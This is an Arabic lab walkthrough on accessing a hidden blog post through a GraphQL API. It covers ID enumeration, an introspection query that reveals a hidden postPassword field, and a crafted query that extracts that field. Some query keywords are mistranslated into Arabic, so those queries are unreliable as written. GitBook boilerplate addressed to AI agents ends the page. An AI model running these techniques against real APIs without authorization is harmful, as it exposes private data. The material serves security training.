> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/graphql/accessing-private-graphql-posts.md).

# الوصول إلى منشورات GraphQL الخاصة

### الوصول إلى منشورات GraphQL الخاصة

#### هدف المختبر

تحتوي صفحة المدونة على مقال **مخفي** (غير مُدرج) يحتوي على **كلمة المرور السرية**. للتحقق من صحة المختبر، يجب عليك **العثور على هذه التدوينة الخاصة** ثم **إرسال كلمة المرور**.

### 1) الاستطلاع لحركة GraphQL

عند الوصول إلى صفحة المدونة الرئيسية، يتم إرسال طلب GraphQL في الخلفية (عبر الـ **الشبكة** أو **Burp** علامة التبويب):

* نقطة النهاية: `POST /GraphQL/v1`
* العملية: `getBlogSummaries`

<figure><img src="/files/06621bec11ed3364cd81ebf71ed0b4c26801c074" alt=""><figcaption></figcaption></figure>

مثال على طلب تم اعتراضه:

{% code overflow="wrap" expandable="true" %}

```graphql
{
  "query": "/nquery getBlogSummaries {/n    getAllBlogPosts {/n        image/n        title/n        summary/n        id/n    }/n}",
  "operationName": "getBlogSummaries"
}
```

{% endcode %}

هذا الاستعلام يُرجِع المنشورات المرئية و `المعرّف`يُلاحظ أن القائمة تحتوي على صفحات/منشورات **1، 2، 4 و5**، ولكن أن **عدم وجود 3 فيها** → مؤشر جيد جدًا على منشور **خاص / مخفي**.

<figure><img src="/files/df5759276c8af13d2a1ce91d69c8263e4778b1d1" alt=""><figcaption></figcaption></figure>

#### 2) استعادة منشور بواسطة المعرّف

عند فتح مقال، يرسل التطبيق استعلامًا آخر يسترجع المحتوى الكامل من المعرّف:

```graphql
{
  "query": "/n    query getBlogPost($id: Int!) {/n        getBlogPost(id: $id) {/n            image/n            title/n            author/n            date/n            paragraphs/n        }/n    }",
  "operationName": "getBlogPost",
  "variables": {
    "id": 2
  }
}
```

هذا يؤكد أنه يمكننا **تعداد** المنشورات بتعديل `variables.id`.

#### 3) الاستبطان لاكتشاف المخطط

<figure><img src="/files/85e28c266a2ef051eb1bc7e921ac93046f07a625" alt=""><figcaption></figcaption></figure>

لرؤية جميع الخصائص المتاحة، نستخدم**استعلام الاستبطان** (مثلًا عبر **InQL**, **علامة تبويب GraphQL**، أو حمولة قياسية):

```graphql
query IntrospectionQuery {
    __schema {
        queryType {
            معلمة
        }
        mutationType {
            معلمة
        }
        subscriptionType {
            معلمة
        }
        types {
            ...FullType
        }
        directives {
            معلمة
            الوصف
            المواقع
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    النوع
    معلمة
    الوصف
    fields(includeDeprecated: true) {
        معلمة
        الوصف
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        معلمة
        الوصف
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    معلمة
    الوصف
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    النوع
    معلمة
    ofType {
        النوع
        معلمة
        ofType {
            النوع
            معلمة
            ofType {
                النوع
                معلمة
            }
        }
    }
}gra
```

الإجابة: **200 OK**، كبير جدًا (أكثر من 1000 سطر).

<figure><img src="/files/f0cc9e45f2a6212d1b18a5a0ef48198f8cd5cf21" alt=""><figcaption></figcaption></figure>

يكشف التحليل عن حقل مثير للاهتمام: **`postPassword`**.

<figure><img src="/files/8eb4a2bf42b3101e511aee84b4478afbf333c982" alt=""><figcaption></figcaption></figure>

### (4) استخراج المنشور المخفي (المعرّف 3)

إعادة التشغيل `getBlogPost` بإضافة `postPassword` الحقل، ثم استهدف المعرّف المفقود (**3**):

```graphql
    query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            الصورة
            العنوان
            المؤلف
            التاريخ
            الفقرات
            postPassword
        }
    }
```

المتغيرات :

```json
{
    "id":3
}
```

<figure><img src="/files/7069da9b9b188a56763766c3e0a09c1d08658db1" alt=""><figcaption></figcaption></figure>

النتيجة: الإجابة تحتوي على قيمة **`postPassword`** → c

<figure><img src="/files/14c52191271e97f1346a06fdf9bfb7631851f20b" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/graphql/accessing-private-graphql-posts.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
